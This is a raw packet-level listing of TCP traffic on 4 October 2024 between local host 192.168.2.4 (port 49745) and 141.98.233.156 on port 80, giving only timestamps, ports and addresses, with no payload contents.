Oct 4, 2024 09:52:33.689205885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689220905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689243078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689253092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689266920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689285040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689301968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689316034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689337969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689347029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689361095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689379930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689412117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689433098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689441919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689455986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689467907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689470053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689485073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689498901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689502001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689512968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689527988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689534903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689542055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689554930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689557076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689579010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689626932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689800024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689817905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689830065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689853907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689867973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689876080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689882994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689897060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689898014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689968109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689997911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690016985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690031052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.690032005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690047026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690063000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690078020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690104961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.690136909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.690351009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690366030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690380096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690393925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690401077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.690407991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690424919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690438986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690440893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.690445900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690454960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690460920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.690530062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.690603971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782237053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782259941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782284975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782299995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782315016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782329082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782344103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782357931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782371998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782387018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782399893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782413960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782419920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782419920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782421112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782421112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782421112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782428980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782445908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782460928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782466888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782466888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782476902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782509089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782538891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782809019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782824993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782839060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782852888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782867908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782871962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782881021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782896042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782911062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782911062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782926083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782928944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782949924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782963991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782974005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.782979012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782994032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.782995939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.783010006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.783018112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.783025026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.783040047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.783040047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.783055067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.783068895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.783077002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.783111095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.784634113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.784650087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.784665108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.784679890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.784693956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.784702063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.784709930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.784742117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.784779072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.816925049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.822180986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.142703056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.142748117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.142786026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.142855883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.142857075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.142889977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.142913103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.142924070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.142941952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.142956972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.142973900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.142990112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.142997980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143026114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143058062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143074036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143090010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143110037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143121958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143148899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143150091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143177032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143182039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143198967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143213987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143227100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143246889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143255949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143301964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143707037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143738985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143770933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143796921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143802881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143835068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143836021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143868923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143868923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143892050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143901110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143914938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143933058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143937111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.143964052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.143991947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144012928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144023895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144040108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144056082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144087076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144103050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144119024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144138098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144150019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144169092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144181967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144195080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144215107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144260883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144773960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144805908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144855976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144864082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144889116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144911051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144921064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144952059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.144953012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144973993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.144985914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145003080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145018101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145034075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145049095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145080090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145081997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145103931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145112038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145123959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145143986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145230055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145250082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145262003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145281076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145293951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145313978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145325899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145339012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145358086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145390034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145421028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145423889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145453930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145488024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145768881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145801067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145817995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145833015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145849943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145865917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145879984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145915985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145920992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145953894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.145971060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.145983934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146002054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146018028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146032095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146049976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146066904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146081924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146099091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146114111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146128893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146146059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146161079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146178007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146183968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146209002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146240950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146260977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146272898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146296024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146305084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146327972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146337986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146351099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146369934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146420956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146459103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146492004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146523952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146541119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146554947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146573067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146585941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146606922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146617889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146635056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146648884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146665096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146681070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146697044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146712065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146728992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146744013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146759987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146771908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146790028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146801949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146821976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146833897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146847010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146867990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146883011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146898985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146914005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146930933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146960974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.146980047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.146980047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147007942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147010088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147042990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147073984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147097111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147109032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147129059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147140026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147160053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147172928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147188902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147203922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147221088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147234917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147250891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147265911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147283077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147298098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147314072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147330046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147346973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147361994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147377014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147411108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147414923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147447109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147461891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147479057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147511005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147532940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147532940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147541046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147557974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147573948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147591114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147604942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147635937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147655010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147680044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147685051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147711992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147744894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147761106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147775888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147792101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147826910 CEST	49745	80	192.168.2.4	141.98.233.156
